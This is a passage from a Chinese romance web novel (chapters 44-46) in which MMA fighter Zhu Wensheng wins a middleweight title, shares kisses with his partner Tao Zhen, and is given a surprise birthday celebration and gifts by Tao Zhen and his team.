一般的MMA格斗比赛只有三回合,但冠军赛和头条大战比较例外,一共五回合,这意味着对选手有着更高的要求。 倒计时五分钟,正式开始! 双方短暂试探,暹罗豹率先一记右拳,被祝闻声左拳截住,下一刻声东击西,试图抬手抱摔,却被祝闻声及时挡住。祝闻声迅猛出击低扫,想要将战场拉到地面,暹罗豹一时躲避不及被压倒,下一瞬就靠着强大的反制从一侧逃了出来。 台下的边角团队正在不停地大吼提点,想要自家选手将对方压制住。但第一场比赛结束,双方并未直接分出胜负,祝闻声占优,但不多。 短暂的调整后,第二场比赛继续,暹罗豹发狠领先。 第三场,祝闻声沉住气,抱摔、拿背,反将一军。 第四场,祝闻声稳定发挥,一直将暹罗豹压在地面,几乎只差一点就要KO,暹罗豹脸都憋红了,拼命反击,竟然在最后不偏不倚地砸中了他小臂的旧伤,一下、两下、三下! ——那里曾经骨折过,是祝闻声全身上下最脆弱的地方。 六十秒休息倒计时开始,祝闻声后退一步,控制住自己本能发颤的手臂。 教练团和理疗师一哄而上,抓紧时间为他涂抹凡士林、整理护齿,祝闻声却避开了他们,哑声说:“我自己来。” “好,你自己来,”教练的语速很快,“刚刚结束那会他们看出你手臂这里有问题了,等下肯定会集中伤害这里,一定要记得尽量避让,你的优势是地面缠斗,但他在这方面反制特别厉害,如果实在不行的话就保持着地上,他左拳不行,用左边勾他……” 团队里的其他成员也在七嘴八舌:“对,前四回合你的地面缠斗技术都没能完全发挥出来,只靠体能在和他硬拼,但他真的太特么的耐揍了,虽然你确实比他强,但是现在——” 祝闻声将那一小瓶电解质水放到一边,神色里几乎带着点漠然的疯狂,肾上腺素飙到了最高,垂下的手臂感觉不到疼痛,只在微微地发抖。 他神态一如既往的平静,反而是黎旻实在是受不了了,她闭了闭眼,将一旁吵吵嚷嚷的众人全都扫开:“都闭嘴!” 周遭略微安静了下来,黎旻将手里印着小碎花的毛巾递到了祝闻声手里,让他拿着抹汗:“相信自己。” 最后一场的铃声还剩十秒就要敲响。 肾上腺素、疼痛、狂野、鲜血,欢呼,刺目的聚光灯。 四周喧闹,对手似乎在狞笑。 祝闻声垂眸盯着那毛巾看了几秒,忽然感觉心尖一颤,再度抬头望向了黎旻。 后者抿了抿唇,郑重地说:“为了你,也为了相信你、喜欢你的人。” “你一定可以。” 周遭的一切仿佛被摁下了慢放键,一瞬间,仿佛心灵感应似的,祝闻声侧过脸。 黑暗的四周,吵闹的观众席,在一瞬间被按下归零键。只剩下那个站在不远处、为他大声呐喊加油的金发少年。 44 ? 第 44 章 ◎祝闻声俯身扣住他的后颈,深深地吻了下来。◎ 最后一回合的比赛开始。 暹罗豹重新走向笼心, 脚步轻点,面上没什么表情,可眼睛却已经死死盯住了祝闻声的小臂, 心扑通扑通地狂跳了起来。 他和祝闻声在前期差的比分算不上太大,他虽然比祝闻声落后一点, 但如果他能在这最后一局力挽狂澜,拿冠军还是很有希望的。 更何况现在的祝闻声受伤了,不管是身体还是心理一定都不如刚刚凶猛, 他甚至可以接着这个机会直接KO祝闻声—— 想到这儿,暹罗豹几乎兴奋了起来, 仿佛冠军已经是他的囊中之物。 他握紧了拳,快速往前地冲了两步,起势要去攻击祝闻声的小腿,手肘却已微微抬起, 瞄准了祝闻声的手臂…… 成功了!暹罗豹心中一喜, 在顶到祝闻声小臂的瞬间, 就想用尽全力,然而下一刻他却感觉一阵天旋地转, 脑袋“嗡”地一声。 整个人的身体失去了重心,像一袋面粉一样被祝闻声抱抗起来, 接着往地上重重一摔。 后脑着地。 一瞬间,暹罗豹头晕眼花,几乎窒息地盯着头顶炫目的聚光灯。 “快!快动起来!” “不要让他起来!!” 台下的教练团几乎同时大喊,暹罗豹猛地回神,下意识地想利用自己侧摔反抗的技术躲开, 可祝闻声完全没有给他机会, 一个断头台将他重新摁了回去, 紧接着用裸绞将他整个人牢牢地控制在了地面。 暹罗豹只觉得越来越无法呼吸,头一次这么清楚地意识到面前人的恐怖,简直感觉自己像是被一头丛林中的野兽困在了原地,氧气越来越稀薄,甚至要忍不住翻白眼的时候,用余光瞥到面前青年一张极为俊美的脸庞。 祝闻声两颊此刻也泛上些许病态的潮红,眉压眼,黑沉沉的眸里燃着一股难以言说的疯狂。 “唔……呃……” 在意识逐渐消失之前,暹罗豹满心绝望地拍打起了一旁的地面,裁判立刻上前制止了二人,用力将他们分开: “TKO——” 赢了。 祝闻声赢了。 他是VCC男子中量级冠军! 场下的观众们欢呼尖叫如同排山倒海,炫目的光在头顶闪耀,一切都显得恢弘盛大,只差从头顶飘落下来的金色彩带。解说员们也兴奋得要命,如同竹筒倒豆子一般噼里啪啦地开始重温刚刚的几个精彩瞬间。 陶真感觉到一阵晕眩。 他的心砰砰直跳,连腿都在发软,好半晌才勉强从自己的座位上跌跌撞撞地下去,直奔准备下台的祝闻声而去。 一旁组织的工作人员自然想要拦着他,还是黎旻眼尖,同他们说了几句话,陶真才踉踉跄跄地挤了进来,同他们一块忍不住笑了:“赢了?” “是赢了吗?是赢了吧!” “是!” 连黎旻都忍不住笑着大喊了一声,看向光裸着上半身走出来的祝闻声:“阿声,恭喜你!等下我跟老刘带你去医疗队那边先……” 话音未落,祝闻声越过了人群,冲她与教练点了点头,旋即一个俯身,狠狠地抱住了陶真。 陶真有些愣住了,本能地回抱。 青年的身躯滚烫浑身好似岩浆熔岩一般,蕴藏着令人难以忽视的力量。胸肌,腹肌,鲨鱼肌,似乎都随着心脏的跳动而律动。沟壑明显、极为结实漂亮,覆满血气与蓬勃的热意。 明明前一秒在台上的时候还那么恐怖凶残,下来时连拥抱都变得小心翼翼,生怕会弄疼怀里的人。 “阿声,”渐渐的,陶真回过神来,弯起眼笑了,“恭喜你呀,你是冠军。” 祝闻声垂下眼,声音轻的几乎听不见:“因为有你在。” 耳畔声音太嘈杂,陶真没听清,笑着说:“嗯?” 二人说话间,旁边的几个教练和助理都已经目瞪口呆了。所幸这里的灯光较暗,才没有被穷追不舍的媒体抓着拍照片。 黎旻率先反应过来,用力地咳嗽了两声:“别忘了等下去做医疗检查,还有赛后的其他流程要走啊!” 祝闻声的喉结滚了滚,努力克制住自己低头吻陶真的冲动,没有问他到底是怎么来、什么时候来的,只说: “跟他们去后台休息,等我回来。” 陶真被他抱得浑身发烫,半晌才回过神,胡乱地点了点脑袋:“好、好。我知道啦……” 下一场对决即将开始,场内吵嚷无比。祝闻声又回头看了跟黎旻他们走向员工通道的陶真一眼,才在负责赛后的工作人员指引下从选手通道离开了场内。 肾上腺素过去之后,身体的各处疼痛重新翻涌了上来,从手背到小臂到大臂,一整条胳膊几乎抬不起来,但他面色平静,像是等下着急去做什么似的,步伐飞快。 身后的工作人员都不得不小跑才能跟上他,好不容易才一块到了休息室,让带着全套设备的专业医疗团队开始为他做繁复的检查,其余记者媒体们则在另外一边排队等候。 金发少年残留在身上的柔软触感渐渐被冰凉的器械所取代,身上那股汹涌的燥热也渐渐消散。 祝闻声终于闭了闭眼睛,在原地平复了一下呼吸,拿了件黑卫衣套上。 正在他靠在沙发上闭目养神的时候,休息室的门口忽然爆发了一阵骚动。两个年纪不大的工作人员被挤得跌跌撞撞地后退了几步,还在拼命拦住想闯进来的人:“不好意思!我们这里不可以随便进出!请到外面去!保安——” 下一刻,一个妇人的哭嚎声却破空似的传来:“天杀的!救命啊!绛州红俱乐部把我家未成年孩子害成了残废啊!有没有人来评评理啊!” 祝闻声掀起眼帘。 霎时间,等候采访的记者们发出一阵惊呼,下意识地想去门口了解一下情况:“阿姨,您所说的绛州红俱乐部是指绛州RED俱乐部吗?您说您孩子被他们害成残废是什么情况?” “我们家孩子马上下半年就要上高中了,非要来打这个比赛,我们不让他现在打,他就偷偷离家出走了,”那妇人见有人关注她,立刻提高了声音,“跑去跟这个红俱乐部签约,这俱乐部让他交钱留在那边打比赛……他们根本就不是人啊,那么点小孩也要跟人来回打,腿被踢断了,孩子藏着不敢说,现在严重得我不知道要不要去截肢……呜呜呜啊!” 说着,那名妇人一边哭,一边拿出孩子坐在轮椅上的照片,四周亮起了闪光灯。 工作人员们快绝望了,赶忙将那妇人往外推:“阿姨,我求您了,这里没有他们俱乐部的人,您再在这里喊也没用,不如这样,您先跟我们出去,然后……” 场内乌泱泱的一团糟,医疗工作者们的动作也慢了下来,祝闻声干脆站起身,越过众人,走到那妇人身边,暂时挡住了媒体的摄像头,令自己随身的工作人员帮忙稳定了局面。 之后,他才接过妇人手里的照片,出乎意料的是,他认出了照片上这人——就是那时候挡在Light门口要签约的校服男孩。 那妇人哭得极伤心,表情极心疼,似乎意识到了他在这群人中地位不一般,看向他的目光里带着乞求和卑微。 祝闻声垂下眼,沉默了片刻,将一个私人律师的号码留给了这位妇人: “有什么事情联系他,所有的官司费我帮你出。” 妇人惊呆了,热泪盈眶、赶忙道谢。 她在工作人员的带领下去了别的地方找自己的丈夫,吵嚷渐渐平息。 医疗团队则重新为祝闻声检查,确认他身体其他地方并无大碍,只是需要格外注意一下手臂这里。 “您小臂骨折应该是很早之前的事情了吧?至少得有个三四年?”那个医生看向祝闻声,似乎有些惊讶,没想过他身上也会有旧伤,“平常看不出来什么,也不太影响生活和训练,但今天过后……您一定要记得好好理疗啊!” 祝闻声点了点头,轻轻握了握拳。 小臂一阵发麻抽痛,很莫名地,竟然一路攀升至心脏。 骨折的确是三四年前的事情了。 在拿下青少年柔术冠军的同时,他也弄折了手臂。不是在场上比赛时折断的,而是在场下,被对手恶意推撞,才落下了旧伤。 然而和这个男孩不同的是,没有母亲为他喊冤,没有家人为他心疼。 根本没有人在意他的伤口。 也根本没有人在意他。 他的长辈,只觉得是他树大招风,不务正业,所以阻止他继续追梦,清除了他比赛的新闻,挥手抹去他辛辛苦苦打下的一切。 沉默地独自坐了一会儿,他才站起身,往自己的休息室走。 这里的气氛显然比外面要放松热闹的多,教练们哈哈大笑,黎旻也眉飞色舞地和那头的公司聊着给祝闻声签约UFC的细节。 陶真则坐在他们中间,捧脸笑,杏眼弯弯,金发耀眼璀璨。 看见他来了,立刻像是只小炮弹一样冲了过来,一个飞扑搂住他的腰,仰起红扑扑的笑脸,专注地望着他: “阿声!” 祝闻声立刻抬手托住了陶真,低低地应了一句。周围的众人意味深长地笑了,不约而同地往外走,识趣地将空间留给他们二人。 “刚刚医生有没有说什么呀?你身上疼不疼?” 陶真像只摇尾巴的小奶狗似的,用鼻尖在祝闻声怀里来回蹭了蹭,嗅到他身上的药膏味,循着来源撩起他的袖口,看见那红肿起来的小臂,瞬间瞪大了眼睛: “黎姐他们不是说你没事吗,怎么看起来这么严重!快给我看看……” 祝闻声整个人一怔。 他的视线牢牢地落在陶真身上,漆黑的眼底漾出了些许情绪,唇色有些苍白。 祝闻声有些艰涩道:“我没事……” “哪里没事了?!” 陶真更加心疼地抱起他那条小臂吹了吹,浑然未觉他将对方揍得多惨,只蛮不讲理地拧起眉: “气死我了,他是明知道你这里有伤还往这里打的?我要去找他算账!虽然我打不过他……但我等一下就趁着他下去的时候偷偷给他套麻袋,然后我左勾拳!右勾……” “右勾拳”还没来得及出完,陶真就感觉自己眼前忽然一暗,滚烫灼热的气息扑面。 祝闻声俯身扣住他的后颈,深深地吻了下来。 45 ? 第 45 章 ◎“陶真,以前从来没有人这样爱过我。”◎ 同之前那几次吻一样, 祝闻声每次亲陶真的时候,都好像要将他整个人吃下去,吻得极深极用力, 还要一边搂住他的后腰,一边扣住他的后脑, 仿佛只有这样几乎将人融入骨血里的姿势才充满安全感。 祝闻声这辈子一共也没有接过几次吻,动作依然带着点青涩,干涩起皮的滚烫唇瓣有些急切地厮磨着少年柔嫩嫣红的下唇。 少年吃痛, 下意识地张开齿关,却没想到给了“坏人”可乘之机, 浸满铁锈血腥气的舌长驱直入,卷上软颚。 陶真整个人都要晕了,后腰脊背处传来一阵阵的酥麻,直冲头顶, 脸颊也染上了汹涌的红晕, 他下意识地想伸手去搂住祝闻声, 却在抬手时摸到了一条肿得老高的小臂。 登时,陶真整个人都清醒了, 他掀起眼睫,呜咽了两声, 像呜呜反抗的小动物一样往后挪,试图避开祝闻声的伤口。 然而这举动落在祝闻声的眼中,却成了对亲吻的无声反抗。他的吻越发凶狠,甚至翻身,直接将陶真囚困在了一侧的沙发上。 后背深深地陷进了沙发里, 面前则是刚刚拿到冠军的格斗选手, 陶真彻底放弃了挣扎, 只能迷迷糊糊地回吻。 不知过了多久,这个吻才终于结束。他只感觉感觉自己的舌尖被人用力地含吮了一下又一下,到最后还被咬了一口下唇。 咬他的那人仿佛有些不满,有些恋恋不舍,又有些标记领地的意味。 祝闻声轻轻摩挲了一下陶真绯红的侧脸,有点固执地问:“……不愿意让我亲吗?” 陶真懵懵懂懂地挤出了一声疑惑的“嗯?”,一双乌溜溜的圆眼水光淋漓,唇瓣也被蹂|躏得染上几分艳色,半晌才回过神来:“我哪里不让你亲……你的手!刚刚一直被我压着,不觉得疼吗?” 他一骨碌坐了起来,紧张兮兮地抱紧了祝闻声的小臂,鼓起脸颊吹了两口气,有些心疼地抱怨道:“能不能爱惜一点自己的身体呀,本来打比赛受的伤就已经很严重了。按我爸的话说,你现在身体好就是仗着年轻,等年纪再大一点就知道痛了,到时候我……” 金发少年语气夸张地描述着各种生活不能自理的后果,祝闻声抿着唇,很安静地听着。 他的视线一直牢牢地落在陶真的身上,久久没有挪开。 抽疼了好几年的小臂,似乎在这一刻,终于停止了对他无休无止的折磨。 不多时,屋外的黎旻他们敲了敲门,两人匆匆地整理了一下凌乱的沙发,走出休息室。 在黎旻的要求下,祝闻声配合赛事主办方以及媒体进行了简单的采访,确认可能要对接的活动和商务。 陶真则很快跟团队里的教练和助理混成了一片,商量着等下举办庆功宴的细节。 这段时间的所有人压力和神经都紧绷,这会搞个庆功宴放松一下是很有必要的。 不过他们提心吊胆了一整天,这会儿也有点累了,没心思去外面订别墅、开大派对,只在酒店楼下,包下了一家环境不错的餐吧。 等黎旻和祝闻声暂时采访完,众人才一块乘车回去。 外面天色已晚,寒风冰凉,夜景却格外绚丽。 街道车水马龙,耸立的高楼大厦亮起盏盏明灯,曼城的夜空万里无云,点缀着数颗繁星,宛如深蓝的幕布上闪耀的钻石。 陶真不需要像众人一样洗澡、换掉身上的工作服,所以干脆没有上楼,直接在餐吧里点单。 他出手向来大方,之前就因为想要为祝闻声做些什么,所以给整个营养师团队打钱“升级装备”,换那些质量更好的毛巾、餐盒,这会更是恨不得把人家菜单从头到尾都点一遍,还是服务员小姐说“够了够了”,他才勉勉强强地放下菜单。 后厨风风火火地开始抄家伙做菜,陶真便打算再去联系一下自己好几天之前就下好预订单的定制蛋糕店。那头的店家已经做好了东西,问他需不需要修改一下配送位置。 这简直是刚打瞌睡就有人送枕头,陶真本来还在想送到酒店的蛋糕应该放在哪儿切,这会直接让店家把配送地址改到了餐吧里。 【真知棒:非常感谢!】 陶真心满意足地收起手机,百无聊赖地等待了一会,才看见餐吧门被推开,走进来一个东张西望的青年。 他辨认了一会儿,认出那人是祝闻声的助理,便高高兴兴地挥了挥手:“这儿!” 助理循声望去,眼睛一亮,匆匆向他跑来:“我还想我作为助理应该是最早过来的,没想到你这么快……” “你的确是最早过来的呀,是我‘作弊’,没换衣服,不然就是你第一名了,”陶真笑着说,“菜我已经点过了,你休息会吧!” 金发少年的语气活泼温和,一点架子都没有,格外好相处。 助理心头一松,笑着坐下来,感觉自己算是明白了为何祝闻声每次跟他打完电话,心情都会变得特别好。 无论是谁和陶真在一块儿,都会被他的人格魅力所俘获的。 助理和陶真兴高采烈地聊了一会,谈到这个星期在曼城生活的体验时,突然想起了什么:“……还有他们这里的纪念品也是,长得特别奇葩,就像一只没胡子的大老鼠。” “我也看见了!”陶真乐不可支地说,“不过现实中看这只老鼠可比视频通话里面看到的可爱多了,等会儿走的时候我还想去买两个,送给朋友当纪念品……” 听见这话,助理却瞪大了眼睛,直接打断了他:“别别别,你可千万别再买了!” 陶真有些不解:“……为什么?” “S哥还没跟你说?”助理扬眉,拉长了语气,“那天你跟他打电话的时候不是说喜欢这东西吗,他当时就要自己出去买,好不容易才被我拦住,又让我把市面上所有能买到的大老鼠品类全都买了一遍!” “现在那些纪念品都堆在我们的休息室里,跟座小山一样!你就算拿去送十个朋友也绰绰有余——” 陶真怔住了,心脏扑通扑通地跳了起来。 祝闻声的确没有说,也没有将这件事当成邀功的资本。 只因为他随口一句“感觉挺可爱的”……就买了这么多吗? 见陶真有些出神,助理才后知后觉地捂住了嘴,意识到自己似乎说多了,掺和进了小情侣的家事。 他有点坐立难安,干咳了两声,刚好看见餐吧的门被外卖员推开,便顺势将这个话题扯过去:“哇塞,你看那边,好大一个蛋糕!” “说起来,S哥的生日也就在明天,我那天还问黎姐他们要不要给S哥准备一个生日蛋糕的,可黎姐却和我说S哥最讨厌过生日,我之前都不知道。还好……” 助理最后半句话没说完,因为在那外卖员打电话的同时,陶真的手机忽然响了。 陶真有些木然地接起,站起身跟外卖员打了个招呼,那个巨无霸大的蛋糕便施施然地从前台挪到了他们身边。 “……” 陶真的耳畔回响着助理那句“他最讨厌过生日”,片刻后才有些艰难地开口:“完、完蛋了,我也不知道!” 他来不及多想,有些慌乱,又有些沮丧,简直不知道该把蛋糕往哪里藏。 助理也手忙脚乱地为他出着馊主意,两人扛着蛋糕,打算求餐吧后厨帮忙保管,却在和服务员小姐交涉的时候,听到身后传来一阵风铃声。 餐吧的大门被人打开,教练和理疗师鱼贯而入,原本正嘻嘻哈哈地说着什么,忽然闭上了嘴。 正在和黎旻商量着签约UFC细节的祝闻声抬起了头,一眼就在人群里看见了陶真,以及他身边这个巨大到无法隐藏的蛋糕。 祝闻声的脚步定住了。 空气沉寂了下来,只剩服务员小姐确认的声音:“……好的,那我们大概什么时候为您把蛋糕拿出来呢?” “我们餐厅还有配套的庆贺服务,需不需要我们为您唱生日快乐歌……” 助理讪讪地往后退了一步,教练等人也纷纷挪开了目光。 黎旻险些两眼一黑,看向不远处臊眉耷眼的陶真,心说完蛋。 她的大脑疯狂运转,正在思考该如何打破僵局,就感觉身侧黑发黑眼的青年往前走了一步,俊美的侧脸面无表情。 黎旻心中一紧,连忙挡在他跟前,语速极快地说: “阿声!其实这个是我们庆祝你获得冠军的……” “姐,让一下。” 祝闻声径直拨开了她,没听她拙劣的狡辩。 目的明确地走到陶真身边,低声问:“买蛋糕,是为了给我过生日吗?” 金发少年垂着头,双手绞着自己的衣角,纤长浓黑的睫羽发颤。 犹豫再三,最终还是说了实话:“是……” 空气静默。 黎旻惨不忍睹地闭上了眼,似乎已经预料到等下祝闻声撂挑子走人的样子。 果不其然,祝闻声动了。 在一众或同情或担忧的目光中,他伸手,轻轻勾住了陶真交缠在一块的指尖,掸了掸那块揪成一团的衣角,说:“谢谢。” “……” 黎旻身体一歪,被助理扶了一把才勉强站定,满是不可置信地与他对视了一眼,视线在祝闻声和陶真身上来回逡巡。 陶真也被这猝不及防的一句砸懵了,有点呆呆地抬起头,过了好半晌才张了张嘴: “不、不客气,这本来就是我应该做的……” “没有什么事是‘应该’做的。你是特意为我做了这一切。” 祝闻声一字一句说完,垂下眼,漆黑如墨的眸中有些许陶真读不懂的神色,语气几乎温柔, “蛋糕是什么口味的?” 陶真心中依然有些惴惴,可却不由自主地被他带偏了注意力:“我记得那次我们一块出去的时候,你好像还挺喜欢抹茶的,所以一半定的是抹茶法芙娜巧克力。” “不过他们家抹茶好像还挺苦的,我怕其他人可能会不喜欢这个口味,所以另一半定的是他们家招牌的草莓哈根达斯……” 蛋糕里放着冰淇淋,如果不好好保存容易融化,在一旁等了半晌的服务员小姐帮忙把它带进了后厨的冰冻柜。他们一帮人便也不再乌泱泱地杵在门口,略微有些恍惚地入座。 刚好这时候点的菜渐渐上桌了,热腾腾、香喷喷的烤肉唤醒了味蕾,饥肠辘辘的众人摸了摸肚子,将刚刚的尴尬事情抛之脑后,化身成饿死鬼,开始大快朵颐。 这群人抢起菜来跟打比赛似的,没经历过训练的陶真原本是根本抢不过他们的,然而他有个外挂——祝闻声。 只要是他想尝尝看的东西,下一刻就会出现在他的碗里:饱满流油的酥脆鸡翅,剥好壳的小青龙,以及剃干净鱼刺的嫩鱼块…… 刚刚拿下男子中量级格斗冠军的青年,就这么毫不介意地做着伺候人的事。 陶真三番五次地想说些什么,却都被他的投喂止住了话头,只好闷头苦吃,把瘪瘪的小肚子都吃得有些圆溜。 渐渐的,菜上得越来越多,众人不再“抢”着吃菜,而是疯狂往对方碗里塞东西。 饭局到了尾声,服务员小姐推着小推车款款而来,上面摆放着一个造型甜美、颜色鲜艳的大蛋糕。 刚刚被强行压下去的尴尬终于冲出了冰面,直直地涌到了众人跟前。 “请问哪位是寿星呀?” 负责庆生的服务员面带微笑,手里拿着生日帽和拍照布景的灯牌,“需要我们为您演唱生日歌曲,并切分蛋糕吗?” 大家一时都沉默了,不约而同地扭头看向了祝闻声,陶真的目光也略微有些忐忑。 “是我。” 意料之外的,祝闻声再度开口了。他站起身,从服务员手里接过了小推车,低声说:“不用,我们自己来就好。” 服务员笑着应了一声,说了一句“祝您生日快乐”之后便离开了。桌上的众人还沉浸在震惊当中,一个个呆呆地望着祝闻声。 唯有陶真最先反应过来,他笑着站起身,从一侧掏出蜡烛火机,认真道:“好呀!那我们先吹蜡烛许愿,之后一起分蛋糕怎么样?” 祝闻声双眸沉静地点了点头,并无异议。 陶真便顺势揽下了替他插蜡烛点火的职责,“咔塔”一声,小小跳跃的火苗点燃了绚丽的仙女棒。四周灯光应景的暗下,只有那灿烂的焰火闪烁着,勾勒出祝闻声俊美的侧脸。 众人这才回神,这么多年来头一次,为他合唱起了生日歌。 “祝你生日快乐,祝你生日快乐……” 陶真是他们当中唱得最大声的一个。 少年的声音清朗活泼,明明与大家唱的是同样的曲调,歌声却比所有人的都要动听。 祝闻声定定地凝视着他。 等一曲毕后,慢慢地闭上眼,许了自己自六岁以后的第一个愿望。 四周的灯重新亮起。 他们切分了这个巨大的蛋糕,又送了许多给餐厅服务员,最后竟然还剩了一小块。 不知是谁先起的心思,等反应过来的时候,不少人的脸上已经多了好几坨奶油。 陶真自然也没避得开,眨眼的功夫里,左边的脸颊就被黎旻掐了一下,扭过头时,助理又点了下他的鼻尖。 “唔!” 他忍不住也起了一些好胜心,可惜场上所有人都是格斗馆里的,每个人的反应都比他快,他拿着奶油挥舞了半天,硬是连一个人的脸也没碰到。 正有些垂头丧气之时,突然看见了身旁脸上干干净净的祝闻声。 刹那间,陶真心中一动,福至心灵地抬起身子,重重地刮了一下祝闻声的鼻尖。 祝闻声对他毫不设防,并没避开他。陶真终于成功了一次,笑眯眯道:“阿声!你被我碰到啦!” 祝闻声微微一怔,面前的金发少年玩得正开心,雪白的小脸蛋香喷喷的。 他心中一动,坦然道:“嗯,我输了。” “现在我是你的手下败将,”祝闻声高挺的鼻梁上顶着一抹奶油,就这样慢条斯理地说,“你想要我帮忙报复谁?” 陶真睁大了眼,玩心渐起:“谁都可以?” “嗯。谁都可以。” “……?” 一旁的众人有些愣住了,齐刷刷地看向陶真,仿佛在用眼神控诉这碗狗粮:“不是,怎么还带这样的?!” 单论1v1,在场众人谁也不是祝闻声的对手,黎旻、助理、营养师,尖叫着被祝闻声快准狠地擦上了奶油。 陶真则被祝闻声托抱到了大腿上稳稳当当地坐好,完美地享受到了狐假虎威的快乐,气势汹汹地发号施令。 场面一时间混乱了起来,笑声几乎难以停歇。被祝闻声精准打击了几次之后,众人觉得不能再这样下去了,忽然想起,这又不是在八角笼中,没说不能群殴! 局势瞬间调转,陶真大惊失色,一骨碌从祝闻声怀里跳了下去,拉着他就跑。 为了避开身后穷追不舍的教练团队,二人急转弯,躲进了餐吧二楼的阳台,“咔嚓”一声关上了门帘。 祝闻声从口袋抽了两张湿纸巾出来,仔细地替陶真擦脸上粘腻的奶油,陶真则呼出一口气,乖乖地仰着脸任由他擦。 隔绝了吵嚷的背景音,耳畔只剩下两人略显沉重的呼吸,以及分不清你我的“咚咚”心跳。 终于有他们两人独自相处的时间,陶真眨了眨眼,说出了自己憋了一晚上的话: “阿声,对不起呀。” 祝闻声为他擦脸的指尖微微一顿:“为什么要和我说对不起?” “因为他们说,你其实不喜欢过生日,”陶真垂下眼,磕磕巴巴地说,“我怕你是,因为我,所以才故意装得这么开心。” 夜幕低垂,繁星璀璨,远处万家灯火。 出了有暖气的室内,外面的寒风凛冽刺骨。 祝闻声停下了手里的动作,直直地望向陶真,过了半晌才低声说:“我的确是因为你。” “……” 陶真喉间干涩,嘴唇动了动,刚想再说声对不起,就听眼前的人一字一句地将下半句话补全:“但不是因为你才装开心,是因为你,感觉到很幸福。” 祝闻声以前从不喜欢过生日,是因为觉得生日根本就没有什么好期待的。 无论是父亲还是母亲,都不期待他出生,都厌恶他的存在。哪怕是家里的长辈,也只是想要一个能继承衣钵,为他们养老送终的孩子,说到底,这个孩子可以是和他们有血缘关系的任何人。 可现在有人,可以越过那些镀金的身份,只喜欢一无所有的祝闻声。 所以他可以释怀过去的一切,并对那个小小的、只有六岁的自己说: 被亲生父亲打骂怀疑也好,被亲生母亲抛弃也罢,那都不是你的错。 现在有人会在意你,哪怕你的伤口早就愈合。 陶真喜欢你。 他会期待你的出生。 “陶真,以前从来没有人这样爱过我。” 祝闻声闭了闭眼,对上陶真那双有些懵懂的黑眸。 他的声音轻得能够随风飘走,却又无比郑重:“谢谢你为我过生日,我很开心。” 46 ? 第 46 章 ◎“或许,我应该履行一下金主的义务了。”◎ 冷风吹拂, 陶真有些发愣。过了半晌,才听懂祝闻声话里的意思。 他心里莫名有些酸涩,努力挤出了一个笑容, 捧住祝闻声的脸,凑过去轻轻吻掉了那鼻尖上一点快要融化的奶油, 小声哄道:“那我以后,一直给你过生日,给你过更多的生日, 好不好?” 祝闻声垂眸,像给主人摸头的大猫, 亲昵地蹭了蹭陶真的侧脸,哑声说:“好。” 凛冽的寒风汹涌而来,可两人之间的温度却越来越高。他们越靠越近,鼻尖相贴, 呼吸也缠绕在一起。 就在他们闭上眼、即将亲上彼此的唇瓣时, 门外忽然响起了一阵凌乱匆忙的脚步声, 连带着木板都开始振动。 “诶?上上下下都找遍了,S哥他们人呢?” “我刚刚看见他们往这个方向跑了, 后来又没下楼,现在肯定还在这儿!” “那我们分头行动, 这么多人呢,总能找到阿声和陶真!” 黎旻提高声音说完,又喃喃自语似的补充了一句:“真是奇怪了,这两人不会躲哪儿去亲嘴了吧……” “……” 唇瓣猝然停住,两人有些欲盖弥彰地偏过了头。陶真脸轰地一下热了, 有些手忙脚乱地擦了下嘴唇, 扯住祝闻声的衣角, 眼睛湿漉漉的:“…我们赶紧走吧,万一被他们抓住的话等下就要被围攻成圣诞老人了!” 祝闻声颔首,拉开门帘一角,从缝隙里观察了一下外面的战况,趁着他们不注意的工夫拉着陶真一块儿跑了出去。两人跟打游击战似的掠过那些侦察的小兵,很快就跑出了餐吧,坐上回酒店的电梯。 陶真后知后觉,有些心虚:“我们真的就这么走了?会不会有些不太好?” “不会,”祝闻声收起给黎旻发了条消息的手机,“结了账的。” 不仅是今天晚上庆功宴的账单,还有团队吃喝玩乐的经费,全都从他的奖金卡里扣,他们俩就算提前走也无可厚非。 陶真这才放下心来:“那就好。我还给你准备了礼物,你快来看看喜不喜欢。” 电梯“叮咚”一声停下,他带祝闻声来到他预订好的房间。房门打开,暖黄色的灯光如同流水一般倾泻了下来,细腻闪耀的碎钻光芒晃得人眼晕,过了几秒才适应。 映入眼帘的就是几个堆叠在一块的礼物盒,背后甚至还放着一大捧沉甸甸、挂着露水的玫瑰花。 祝闻声情不自禁地屏住了呼吸,半晌才抬步往里走,蹲下.身,小心翼翼地碰了碰那娇艳欲滴的花瓣,又一一抚过那些包装精美的礼盒。 见他不说话,陶真也有些紧张了,走到他身侧蹲下,歪着脑袋看他,眼睛亮晶晶地鼓励道:“拆开来看看呀!” 祝闻声“嗯”了一声,平常能一拳拳、硬生生把沙袋砸穿的手,这会也不知怎地忽然有些无力,好半天才拆下包装纸。 第一个盒子里装着的是一对价格十分高昂的定制拳套,与祝闻声今天打比赛用的是同款。外行人根本不会了解得这么仔细,陶真能买到这个,显然花了许多心思。 第二个盒子里装着的则是一张裱好的签名照。照片是一个国内首位拿到UFC女子冠军的格斗家,也是祝闻声的偶像。 第三个盒子…… 一一拆完这些礼物,花了祝闻声很长时间。 陶真在一旁蹲得腿都麻了,干脆一屁股坐下,眼巴巴地望着他:“阿声,我也不知道你具体喜欢什么,所以这些东西杂七杂八都买了一些……” “你…觉得怎么样?” 祝闻声的喉结滚了滚,半晌才哑声道:“很好。我很喜欢。” 得到肯定的回复,陶真心里松快了许多,可他看了一眼祝闻声的表情,总觉得还是差了一些:什么东西都喜欢,那就意味着没有什么都不喜欢,都可以被替代。 不过这不怪祝闻声,毕竟这些拳套啊、签名照什么的,都太普通了,只要有钱就可以轻松搞到。 所以陶真其实还准备了一样……有点特殊的“东西”。 “喜欢就好……” 陶真想了想,忽然说,“对了阿声,我晚上和你助理聊天的时候,听说你给我买了好多那只曼城大老鼠的纪念品?” 祝闻声的语气平淡稀松:“买得不多。不是什么贵重的东西。” 陶真情不自禁地抿起唇笑了:“好吧,那这个纪念品在酒店里吗?你能不能拿几个过来给我看一下?” “刚好我身上全都是汗,我就先去卫生间洗个澡。” 祝闻声立刻站起身:“好。” 他小心翼翼地将礼物都放在了一旁的桌子上,又认认真真地把包装纸都收好,之后才转身离开。一出门,便立刻加快速度,三步并作两步地上楼,进入了团队休息室。 也许是因为和黎旻沟通过,陶真住的房间和他们挨得很近,前后也就三四层楼的工夫。不需要花上多长时间,祝闻声就已经提着两大袋长相各异的玩偶,在门口站定。 “咚咚——” 他敲了一下房门,里头却没有人应声,只能依稀听见哗啦啦的水流。 应该是陶真还在洗澡。 